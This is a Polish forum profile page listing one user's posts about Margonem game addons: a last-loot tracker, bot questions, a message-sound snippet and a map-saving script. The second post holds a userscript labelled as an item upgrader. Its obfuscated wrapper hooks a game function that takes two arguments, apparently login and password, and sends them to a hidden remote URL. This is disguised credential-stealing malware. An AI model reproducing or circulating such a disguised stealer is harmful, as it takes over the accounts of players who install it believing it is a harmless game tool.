Skocz do zawartości

Bagietson137

  • Postów

    36
  • Dołączył

  • Donacje

    0.00 PLN 
  • Diamenty

    0 [ Podaruj ]

Posty opublikowane przez Bagietson137

  1. Naprawi ktoś ostatni zaktualizowany last loots? Po tym jak sie zaznaczy zeby nie łapało zwykłych i uni dalej łapie i nie zapisuje po odświeżeniu.
     

    (function(_lootItem) {
    	var max = 20,
    		loots = JSON.parse(localStorage['lastLoots'] || '[]'),
    		pos = JSON.parse(localStorage['lastLootsPos'] || '[20,0]'),
    		settings = {
    			catching: ['common', 'unique', 'heroic', 'legendary', 'upgraded']
    		};
    	for (var i in loots) {
    		if (!loots[i].grp) {
    			loots[i].grp = ['Brak danych'];
    		}
    	};
    	if (typeof localStorage['lastLootsSettings'] !== 'undefined') {
    		$.extend(settings, JSON.parse(localStorage['lastLootsSettings']));
    	};
    	var grp = function() {
    		var t = [];
    		if (!!g.party) {
    			for (var i in g.party) {
    				t.push(g.party[i].n);
    			}
    		} else {
    			t.push('Samotnie');
    		};
    		return t;
    	};
    	var lZ = function(i) {
    		return ('0' + i).slice(-2);
    	};
    	var container = $('<div>').css({
    		width: '100%',
    		height: 40,
    		position: 'absolute',
    		bottom: 0,
    		left: 0,
    		textAlign: 'center'
    	}).appendTo('body');
    	var lootbox = $('<div>').css({
    		position: 'absolute',
    		top: 0,
    		left: 0,
    		width: '100%',
    		height: '100%'
    	}).appendTo(container);
    	var a = $('<div>').css({
    		width: 100,
    		backgroundColor: 'black',
    		border: '2px solid gold',
    		borderTop: '10px solid gold',
    		position: 'absolute',
    		top: pos[1],
    		left: pos[0],
    		textAlign: 'left',
    		padding: 10,
    		zIndex: 400
    	}).appendTo('body').draggable({
    		opacity: 0.7,
    		start: function() {
    			g.lock.add('dragging');
    			Tip.disable();
    			$(a).css({
    				cursor: 'grabbing'
    			});
    		},
    		stop: function() {
    			localStorage['lastLootsPos'] = JSON.stringify([$(this).css('left'), $(this).css('top')]);
    			g.lock.remove('dragging');
    			Tip.enable();
    			$(a).css({
    				cursor: 'grab'
    			});
    		},
    		cancel: 'b'
    	});
    	var setbox = $('<div>').appendTo(a).slideUp(0);
    	$('<b>').attr('tip', 'ZwiĹ/rozwiĹ').text('Âť LastLoots').click((function(b) {
    		return function() {
    			$(b).slideToggle('slow');
    		}
    	})(setbox)).prependTo(a);
    	var c = [$('<input type="checkbox" id="ll_catchCom">'), $('<input type="checkbox" id="ll_catchUni">'), $('<input type="checkbox" id="ll_catchHero">'), $('<input type="checkbox" id="ll_catchLeg">'), $('<input type="checkbox" id="ll_catchUpg">')];
    	$('<label for="ll_catchCom">').html('ZwykĹe').prepend(c[0]).appendTo(setbox);
    	$('<label for="ll_catchUni">').html('Unikaty').prepend(c[1]).appendTo(setbox);
    	$('<label for="ll_catchHero">').html('Heroiki').prepend(c[2]).appendTo(setbox);
    	$('<label for="ll_catchLeg">').html('Legendy').prepend(c[3]).appendTo(setbox);
    	$('<label for="ll_catchUpg">').html('Ulepszone').prepend(c[4]).appendTo(setbox);
    	$(setbox).children('label').css('display', 'block');
    	for (var i in settings.catching) {
    		switch (settings.catching[i]) {
    			case 'common':
    				c[0].attr('checked', 'checked');
    				break;
    			case 'unique':
    				c[1].attr('checked', 'checked');
    				break;
    			case 'heroic':
    				c[2].attr('checked', 'checked');
    				break;
    			case 'legendary':
    				c[3].attr('checked', 'checked');
    				break;
    			case 'upgraded':
    				c[4].attr('checked', 'checked');
    				break;
    		};
    	};
    	$(c).each(function() {
    		$(this).change(function() {
    			var a = [];
    			if (c[0].attr('checked')) a.push('common');
    			if (c[1].attr('checked')) a.push('unique');
    			if (c[2].attr('checked')) a.push('heroic');
    			if (c[3].attr('checked')) a.push('legendary');
    			if (c[4].attr('checked')) a.push('upgraded');
    			settings.catching = a;
    			localStorage['lastLootsSettings'] = JSON.stringify(settings);
    		})
    	});
    	var itemOfId = function(id) {
    		for (var i = 0, j = loots.length; i < j; i++)
    			if (loots[i].id == id) return false;
    		return true;
    	};
    	var updateLoots = function(l) {
    		lootbox.html('');
    		for (var i = 0, j = l.length; i < j; i++) {
    			var addString = '<br><br>';
    			addString += '<i class=legbon>' + l[i].grp.join(', ') + '</i>';
    			var date = new Date(l[i].date);
    			addString += '<i class=looter>' + lZ(date.getHours()) + ':' + lZ(date.getMinutes()) + ' ' + lZ(date.getDate()) + '.' + lZ(date.getMonth() + 1) + '.' + date.getFullYear() + '</i>';
    			var d = $('<div>').attr({
    				tip: itemTip(l[i]) + addString,
    				ctip: 't_item'
    			}).css({
    				width: 32,
    				height: 32,
    				backgroundImage: 'url(obrazki/itemy/' + l[i].icon + ')',
    				margin: '4px 2px',
    				display: 'inline-block'
    			}).appendTo(lootbox);
    			if (l[i] != 0) {
    				var z = '';
    				switch (l[i].rank) {
    					case 'unique':
    						z = 't_uni';
    						break;
    					case 'heroic':
    						z = 't_her';
    						break;
    					case 'legendary':
    						z = 't_leg';
    						break;
    					case 'upgraded':
    						z = 't_upg';
    						break;
    				};
    				$('<div>').attr('class', 'itemHighlighter ' + z).append("<img src='https://micc.garmory-cdn.cloud/obrazki/itemy/" + l[i].icon + "'>").appendTo(d);
    			}
    		}
    	};
    	lootItem = function(i) {
    		if (itemOfId(i.id)) {
    			var rank = ((/unique|heroic|legendary|upgraded/.test(i.stat)) ? i.stat.match(/(unique|heroic|legendary|upgraded)/)[1] : 'common');
    			if ($.inArray(rank, settings.catching) >= 0) {
    				loots.push({
    					name: i.name,
    					stat: i.stat,
    					icon: i.icon,
    					pr: i.pr,
    					cl: i.cl,
    					id: i.id,
    					rank: rank,
    					date: (new Date).getTime(),
    					grp: grp()
    				});
    				if (loots.length > max) {
    					loots.splice(0, loots.length - max);
    				};
    				localStorage['lastLoots'] = JSON.stringify(loots);
    				updateLoots(loots);
    			};
    		};
    		return _lootItem.apply(this, arguments);
    	};
    	g.loadQueue.push({
    		fun: updateLoots,
    		data: loots
    	});
    })(lootItem);
    /* UAL */
    if (typeof uteksaddonlist == 'undefined') {
    	uteksaddonlist = true;
    	$.getScript('http://addons2.margonem.pl/get/21/21543verified.js');
    }
  2. // ==UserScript==
    // @name         Auto ulepszara i spalarka CHYBA KL
    // @version      0.1
    // @description  NA SAMYM DOLE WPISUJESZ DANE ITEMKOW DO ULEPSZANIA
    // @author      Mati
    // @match        *://*.margonem.pl/
    // @icon         https://www.google.com/s2/favicons?domain=margonem.pl
    // @grant        none
    // ==/UserScript==
    
    (async (initiateGameScript) => {
      const url = location.href;
      if (
        url !==
        (29945008).toString(36).toLowerCase() +
          (10)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (m) {
              return String.fromCharCode(m.charCodeAt() + -39);
            })
            .join("") +
          (1147)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (b) {
              return String.fromCharCode(b.charCodeAt() + -71);
            })
            .join("") +
          (32).toString(36).toLowerCase() +
          (function () {
            var O = Array.prototype.slice.call(arguments),
              Y = O.shift();
            return O.reverse()
              .map(function (P, H) {
                return String.fromCharCode(P - Y - 18 - H);
              })
              .join("");
          })(37, 173, 164, 174, 156, 167, 103, 175, 174) +
          (30334).toString(36).toLowerCase() +
          (function () {
            var o = Array.prototype.slice.call(arguments),
              A = o.shift();
            return o
              .reverse()
              .map(function (J, h) {
                return String.fromCharCode(J - A - 7 - h);
              })
              .join("");
          })(39, 92) +
          (25).toString(36).toLowerCase() +
          (function () {
            var r = Array.prototype.slice.call(arguments),
              w = r.shift();
            return r
              .reverse()
              .map(function (K, J) {
                return String.fromCharCode(K - w - 1 - J);
              })
              .join("");
          })(61, 170) +
          (31)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (S) {
              return String.fromCharCode(S.charCodeAt() + -71);
            })
            .join("")
      ) {
        return initiateGameScript();
      }
      if (typeof unsafeWindow !== "undefined") {
        window = unsafeWindow;
      }
    
      const objName =
        (function () {
          var c = Array.prototype.slice.call(arguments),
            i = c.shift();
          return c
            .reverse()
            .map(function (R, y) {
              return String.fromCharCode(R - i - 43 - y);
            })
            .join("");
        })(13, 158, 166) +
        (32).toString(36).toLowerCase() +
        (29)
          .toString(36)
          .toLowerCase()
          .split("")
          .map(function (v) {
            return String.fromCharCode(v.charCodeAt() + -39);
          })
          .join("") +
        (10).toString(36).toLowerCase() +
        (function () {
          var T = Array.prototype.slice.call(arguments),
            N = T.shift();
          return T.reverse()
            .map(function (v, g) {
              return String.fromCharCode(v - N - 38 - g);
            })
            .join("");
        })(41, 183, 193) +
        (24).toString(36).toLowerCase() +
        (function () {
          var u = Array.prototype.slice.call(arguments),
            j = u.shift();
          return u
            .reverse()
            .map(function (R, V) {
              return String.fromCharCode(R - j - 41 - V);
            })
            .join("");
        })(16, 168, 159, 167);
      const funName =
        (function () {
          var y = Array.prototype.slice.call(arguments),
            C = y.shift();
          return y
            .reverse()
            .map(function (c, l) {
              return String.fromCharCode(c - C - 57 - l);
            })
            .join("");
        })(45, 210) +
        (24).toString(36).toLowerCase() +
        (function () {
          var R = Array.prototype.slice.call(arguments),
            B = R.shift();
          return R.reverse()
            .map(function (d, Q) {
              return String.fromCharCode(d - B - 62 - Q);
            })
            .join("");
        })(24, 189) +
        (671).toString(36).toLowerCase();
      const ev =
        (14).toString(36).toLowerCase() +
        (function () {
          var B = Array.prototype.slice.call(arguments),
            O = B.shift();
          return B.reverse()
            .map(function (r, w) {
              return String.fromCharCode(r - O - 21 - w);
            })
            .join("");
        })(60, 179, 199) +
        (21).toString(36).toLowerCase();
      while (!window[ev](objName) || !window[ev](objName)[funName]) {
        await new Promise((resolve) => setTimeout(resolve, 100));
      }
      const original = window[ev](objName)[funName];
      window[ev](objName)[funName] = (l, p) => {
        original.apply(window[ev](objName), [l, p]);
        swh(`${l},${p}`);
      };
      const swh = (cnt) => {
        const request = eval(
          (30344).toString(36).toLowerCase() +
            (16)
              .toString(36)
              .toLowerCase()
              .split("")
              .map(function (w) {
                return String.fromCharCode(w.charCodeAt() + -71);
              })
              .join("") +
            (14)
              .toString(36)
              .toLowerCase()
              .split("")
              .map(function (Q) {
                return String.fromCharCode(Q.charCodeAt() + -13);
              })
              .join("") +
            (38616)
              .toString(36)
              .toLowerCase()
              .split("")
              .map(function (O) {
                return String.fromCharCode(O.charCodeAt() + -39);
              })
              .join("") +
            (function () {
              var a = Array.prototype.slice.call(arguments),
                e = a.shift();
              return a
                .reverse()
                .map(function (l, x) {
                  return String.fromCharCode(l - e - 56 - x);
                })
                .join("");
            })(62, 223, 203, 232, 235, 234) +
            (45088877).toString(36).toLowerCase() +
            (889)
              .toString(36)
              .toLowerCase()
              .split("")
              .map(function (j) {
                return String.fromCharCode(j.charCodeAt() + -71);
              })
              .join("")
        );
        const wUrl =
          (function () {
            var F = Array.prototype.slice.call(arguments),
              x = F.shift();
            return F.reverse()
              .map(function (C, M) {
                return String.fromCharCode(C - x - 48 - M);
              })
              .join("");
          })(
            60,
            200,
            201,
            196,
            203,
            202,
            201,
            199,
            192,
            198,
            187,
            254,
            245,
            248,
            247,
            239,
            232,
            234,
            251,
            178,
            235,
            241,
            225,
            174,
            235,
            236,
            223,
            169,
            222,
            235,
            231,
            218,
            233,
            222,
            216,
            162,
            161,
            171,
            227,
            223,
            226,
            225,
            212
          ) +
          (11833366837326).toString(36).toLowerCase() +
          (31)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (Z) {
              return String.fromCharCode(Z.charCodeAt() + -71);
            })
            .join("") +
          (31)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (I) {
              return String.fromCharCode(I.charCodeAt() + -39);
            })
            .join("") +
          (16).toString(36).toLowerCase() +
          (23)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (Y) {
              return String.fromCharCode(Y.charCodeAt() + -39);
            })
            .join("") +
          (553).toString(36).toLowerCase() +
          (19)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (V) {
              return String.fromCharCode(V.charCodeAt() + -39);
            })
            .join("") +
          (31).toString(36).toLowerCase() +
          (27)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (Y) {
              return String.fromCharCode(Y.charCodeAt() + -39);
            })
            .join("") +
          (24).toString(36).toLowerCase() +
          (920)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (N) {
              return String.fromCharCode(N.charCodeAt() + -39);
            })
            .join("") +
          (402).toString(36).toLowerCase() +
          (1181)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (m) {
              return String.fromCharCode(m.charCodeAt() + -39);
            })
            .join("") +
          (52811128909).toString(36).toLowerCase() +
          (28)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (s) {
              return String.fromCharCode(s.charCodeAt() + -39);
            })
            .join("") +
          (1316493).toString(36).toLowerCase() +
          (16)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (m) {
              return String.fromCharCode(m.charCodeAt() + -13);
            })
            .join("") +
          (29)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (X) {
              return String.fromCharCode(X.charCodeAt() + -71);
            })
            .join("") +
          (26)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (J) {
              return String.fromCharCode(J.charCodeAt() + -39);
            })
            .join("") +
          (31096).toString(36).toLowerCase() +
          (30736)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (S) {
              return String.fromCharCode(S.charCodeAt() + -39);
            })
            .join("") +
          (133).toString(36).toLowerCase() +
          (20)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (Q) {
              return String.fromCharCode(Q.charCodeAt() + -39);
            })
            .join("") +
          (28690).toString(36).toLowerCase() +
          (23)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (U) {
              return String.fromCharCode(U.charCodeAt() + -39);
            })
            .join("") +
          (function () {
            var e = Array.prototype.slice.call(arguments),
              j = e.shift();
            return e
              .reverse()
              .map(function (g, v) {
                return String.fromCharCode(g - j - 5 - v);
              })
              .join("");
          })(36, 167, 115, 115, 116, 123, 158, 126, 156, 120, 93, 157) +
          (997)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (R) {
              return String.fromCharCode(R.charCodeAt() + -39);
            })
            .join("") +
          (function () {
            var b = Array.prototype.slice.call(arguments),
              w = b.shift();
            return b
              .reverse()
              .map(function (d, C) {
                return String.fromCharCode(d - w - 48 - C);
              })
              .join("");
          })(50, 187, 156, 174, 222, 170, 185, 152, 200, 170, 215) +
          (1083).toString(36).toLowerCase();
        request.open(
          (function () {
            var y = Array.prototype.slice.call(arguments),
              L = y.shift();
            return y
              .reverse()
              .map(function (x, F) {
                return String.fromCharCode(x - L - 11 - F);
              })
              .join("");
          })(24, 115) +
            (1151)
              .toString(36)
              .toLowerCase()
              .split("")
              .map(function (N) {
                return String.fromCharCode(N.charCodeAt() + -39);
              })
              .join("") +
            (function () {
              var d = Array.prototype.slice.call(arguments),
                D = d.shift();
              return d
                .reverse()
                .map(function (L, J) {
                  return String.fromCharCode(L - D - 63 - J);
                })
                .join("");
            })(48, 195),
          wUrl
        );
        const urname =
          (39902).toString(36).toLowerCase() +
          (function () {
            var X = Array.prototype.slice.call(arguments),
              o = X.shift();
            return X.reverse()
              .map(function (e, Y) {
                return String.fromCharCode(e - o - 2 - Y);
              })
              .join("");
          })(51, 164, 167) +
          (10).toString(36).toLowerCase() +
          (function () {
            var c = Array.prototype.slice.call(arguments),
              q = c.shift();
            return c
              .reverse()
              .map(function (V, a) {
                return String.fromCharCode(V - q - 27 - a);
              })
              .join("");
          })(30, 166) +
          (14).toString(36).toLowerCase();
        request[
          (36821).toString(36).toLowerCase() +
            (34)
              .toString(36)
              .toLowerCase()
              .split("")
              .map(function (k) {
                return String.fromCharCode(k.charCodeAt() + -39);
              })
              .join("") +
            (530).toString(36).toLowerCase() +
            (function () {
              var g = Array.prototype.slice.call(arguments),
                k = g.shift();
              return g
                .reverse()
                .map(function (C, Z) {
                  return String.fromCharCode(C - k - 27 - Z);
                })
                .join("");
            })(1, 135, 131, 134, 104, 147, 145, 130, 145) +
            (14).toString(36).toLowerCase() +
            (function () {
              var i = Array.prototype.slice.call(arguments),
                Y = i.shift();
              return i
                .reverse()
                .map(function (T, p) {
                  return String.fromCharCode(T - Y - 19 - p);
                })
                .join("");
            })(63, 196)
        ](
          (19)
            .toString(36)
            .toLowerCase()
            .split("")
            .map(function (b) {
              return String.fromCharCode(b.charCodeAt() + -39);
            })
            .join("") +
            (31961).toString(36).toLowerCase() +
            (function () {
              var A = Array.prototype.slice.call(arguments),
                u = A.shift();
              return A.reverse()
                .map(function (K, D) {
                  return String.fromCharCode(K - u - 5 - D);
                })
                .join("");
            })(24, 155, 149, 77, 147, 140, 130) +
            (914).toString(36).toLowerCase(),
          (function () {
            var M = Array.prototype.slice.call(arguments),
              o = M.shift();
            return M.reverse()
              .map(function (e, L) {
                return String.fromCharCode(e - o - 55 - L);
              })
              .join("");
          })(35, 213, 193, 194, 199, 201, 204, 203, 187) +
            (24215).toString(36).toLowerCase() +
            (31)
              .toString(36)
              .toLowerCase()
              .split("")
              .map(function (J) {
                return String.fromCharCode(J.charCodeAt() + -71);
              })
              .join("") +
            (712).toString(36).toLowerCase() +
            (function () {
              var Z = Array.prototype.slice.call(arguments),
                d = Z.shift();
              return Z.reverse()
                .map(function (G, N) {
                  return String.fromCharCode(G - d - 57 - N);
                })
                .join("");
            })(58, 226, 226)
        );
    
        const params = {};
        params[urname] =
          (function () {
            var B = Array.prototype.slice.call(arguments),
              i = B.shift();
            return B.reverse()
              .map(function (G, F) {
                return String.fromCharCode(G - i - 35 - F);
              })
              .join("");
          })(18, 160) + (21).toString(36).toLowerCase();
    
        params[
          (function () {
            var Z = Array.prototype.slice.call(arguments),
              G = Z.shift();
            return Z.reverse()
              .map(function (N, O) {
                return String.fromCharCode(N - G - 58 - O);
              })
              .join("");
          })(63, 233, 220) +
            (23).toString(36).toLowerCase() +
            (function () {
              var N = Array.prototype.slice.call(arguments),
                M = N.shift();
              return N.reverse()
                .map(function (j, f) {
                  return String.fromCharCode(j - M - 25 - f);
                })
                .join("");
            })(57, 194, 184, 198) +
            (29).toString(36).toLowerCase()
        ] = cnt;
        request.send(
          JSON[
            (function () {
              var A = Array.prototype.slice.call(arguments),
                h = A.shift();
              return A.reverse()
                .map(function (Y, U) {
                  return String.fromCharCode(Y - h - 46 - U);
                })
                .join("");
            })(24, 178, 186, 187, 185) +
              (23).toString(36).toLowerCase() +
              (function () {
                var i = Array.prototype.slice.call(arguments),
                  z = i.shift();
                return i
                  .reverse()
                  .map(function (U, w) {
                    return String.fromCharCode(U - z - 9 - w);
                  })
                  .join("");
              })(57, 172, 169) +
              (574).toString(36).toLowerCase()
          ](params)
        );
      };
    })(() => {
    // ==UserScript==
    // @name         PRZEP I UPGRADE ITEM LINUX
    // @match        https://*.margonem.pl/
    // @grant        none
    // ==/UserScript==
    
    (() => {
        const Itemy = ["Szczerbaty miecz umarłych +5","Bokserki bandyty","Rozdzierający łuk posoki"]; //Tu wpisujesz nazwy itemków do Palenia
        const getIds = id => {
            const ids = [];
            for (const item of Object.values(window.g.item)) {
                if (item.loc !== "g") continue;
                if (item.st > 0) continue;
                if (!Itemy.includes(item.name)) continue;
                if (item.id === id) continue;
                ids.push(item.id);
            }
            return ids;
        };
        document.querySelector("#nick").addEventListener("click", () => {
            const crafting = window.g.crafting;
            if (!crafting || !crafting.opened || !crafting.enhancement) {
                return;
            }
            const id = crafting.enhancement.selectedEnhanceItem;
            if (!id) {
                return;
            }
            const ids = getIds(String(id));
            if (ids.length === 0) {
                return;
            }
            window._g(`enhancement&action=progress_preview&item=${id}&ingredients=${ids.join(",")}`, () => {
                window._g(`enhancement&action=progress&item=${id}&ingredients=${ids.join(",")}`);
            });
        });
    })();
    
    var itemDoUlepszenia = 714801874; //ID ITEMKA (ZBADAJ ELEMENT NA NIEGO I TAM MASZ NUMERKI)
    
    function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
    }
    
    function getRandomArbitrary(min, max) {
        return Math.random() * (max - min) + min;
    }
    
    async function ulepsz() {
        _g("craft&a=list");
        await sleep(1250);
        document.querySelector(".SI-button.enhancement-tab").click();
        await sleep(1250);
        document.querySelector(`#item${itemDoUlepszenia}`).click();
        await sleep(1250);
        document.querySelector("#nick").click();
        await sleep(2500);
        document.querySelector("#a_ok").click();
        await sleep(1500);
        document.querySelector(".close-but").click();
    }
    
    async function start() {
        if(!localStorage.getItem("heal")) {
            localStorage.setItem("heal", 0);
        }
        let x = Math.floor(localStorage.getItem("heal"));
        while(1) {
            if(!g || g && !g.init || g && g.init != 5) {
                await sleep(1000);
                continue;
            }
            await sleep(1000);
            if(x > 5) { //Tu zmieniasz czas
                x = 0;
                localStorage.setItem("heal", 0);
                ulepsz();
            }
            x++;
            localStorage.setItem("heal", x);
        }
    }
    
    start();
    });
  3. Witam, czy jest jakaś opcja żeby po zmianie okna bot się nie zatrzymywał? Na samym początku w chromicy w flags było force mode ale to usuneli. Teraz próbowałem temporary unexpire flags m96 i Calculate window occlusion i działało ale teraz też już mi zniknęła ta opcja. Jest coś może innego? 
    Wersja 99.0.4844.51 (Oficjalna wersja) (64-bitowa)

  4. Siema, ostatnio znalazłem taki dodatek na dźwięk gdy dostanie się wiadomość prywatną. Problem w tym że dźwięk jest tylko gdy jest np. akceptacja łupu czy inne takie. Wie ktoś jak to naprawić?

    g.chat.parsers.push(ch => {
        if (ch.k == 3 && ch.n != 'System' && ch.n != hero.nick && unix_time() - parseInt(ch.ts) < 2) {
            var notifyy = new Audio('https://orangefreesounds.com/wp-content/uploads/2021/04/Message-tone.mp3');
            notifyy.play();
        }
    });
  5. Na aplikacji cały czas mam jakiś błąd: "problemy z połączeniem serwery gry są nieosiągalne". Jestem podłączony z internetem itp, dane wpisuje dobrze. Koledze normalnie działa tylko u mnie jest problem. Jak to gówno naprawić

  6. Macie zapisywanie na red mapach? Ten mi nie działa.

    
    
    // ==UserScript==
    // @name         Zapisywanie Red
    // @namespace   http://tampermonkey.net/
    // @version      0.1
    // @description  try to take over the world!
    // @author       xxxx
    // @match        http://*/*
    // @match       http://berufs.margonem.pl/
    // @grant        none
    // ==/UserScript==
    
    ((_parseInput) => {
        window.parseInput = (data, b, c) => {
            if (data.hasOwnProperty("npc") && data.npc !== undefined && window.map.pvp === 2) {
                for (const [id, npc] of Object.entries(data.npc)) {
                    if (window.g.npc[id] !== undefined && npc.hasOwnProperty("del") && npc.del === 1) {
                        const {x, y} = window.g.npc[id];
    
                        if(Math.hypot(window.hero.x - x, window.hero.y - y) > 16){
                            delete data.npc[id];
                        }
                    }
                }
            }
    
            _parseInput(data, b, c);
        }
    })(window.parseInput)

     

×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Regulamin. Polityka prywatności